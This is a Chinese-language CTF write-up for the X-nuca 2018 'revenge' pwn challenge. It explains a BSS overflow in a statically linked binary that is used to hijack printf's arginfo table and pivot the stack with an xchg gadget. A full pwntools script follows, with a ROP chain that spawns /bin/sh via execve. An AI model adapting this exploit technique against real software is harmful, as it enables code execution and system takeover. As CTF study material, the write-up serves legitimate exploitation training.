首先,检查一下程序的保护机制
然后,我们用IDA分析一下,bss上存在无限溢出
由于该程序是静态编译,我们可以覆盖到下方某些函数指针,我们可以将__printf_arginfo_table虚表指针覆盖,指向我们可控的地方。
这样printf调用时,就调用相应的函数,但是rdi、rsi、rsp这些不可控
这时有一个巧妙的方法,我们让程序执行到
000000000046B9A8 mov rbx, cs:_dl_scope_free_list此处
正好这里用到的两个变量,我们也能够溢出覆盖到,我们看到,rax我们也可控,因此,我们只需再找一个gadget,xchg eax,esp,然后将_dl_wait_lookup_done设置为该gadget的地址,即可完成栈迁移,[其中xchg会清空esp的高4字节,经过试验,发现除了单字节的xchg外,像双字节、四字节的xchg,都会清空高位。]{.mark}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import *
sh = process('./X-nuca_2018_revenge')
xchg_eax_esp = 0x00000000004a1a79 bss = 0x00000000006B73E0 ''' .text:000000000046B9A8 mov rbx, cs:_dl_scope_free_list .text:000000000046B9AF test rbx, rbx .text:000000000046B9B2 jz short loc_46B9F8 .text:000000000046B9B4 mov rax, [rbx] .text:000000000046B9B7 cmp rax, 31h .text:000000000046B9BB jbe short loc_46BA30 .text:000000000046B9BD call cs:_dl_wait_lookup_done ....................... ...................... .text:000000000046B99B add rsp, 8 .text:000000000046B99F mov eax, ebx .text:000000000046B9A1 pop rbx .text:000000000046B9A2 pop rbp .text:000000000046B9A3 retn ''' _dl_scope_free_xx = 0x000000000046B9A8 pop_rdi = 0x0000000000400525 pop_rsi = 0x00000000004059d6 pop_rdx = 0x0000000000435435 pop_rax = 0x000000000043364c syscall = 0x0000000000400368
payload = p64(bss + 0x10) payload += '/bin/sh\x00'
payload += p64(pop_rdi) + p64(bss + 0x8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3B) + p64(syscall) payload = payload.ljust(0x398,'a') + p64(_dl_scope_free_xx) payload = payload.ljust(0x4E0,'a') payload += p64(xchg_eax_esp) payload = payload.ljust(0x530,'a') payload += p64(bss) payload = payload.ljust(0x650,'a') payload += '\x00'*0x78 payload += p64(bss) sh.sendline(payload)
sh.interactive()
|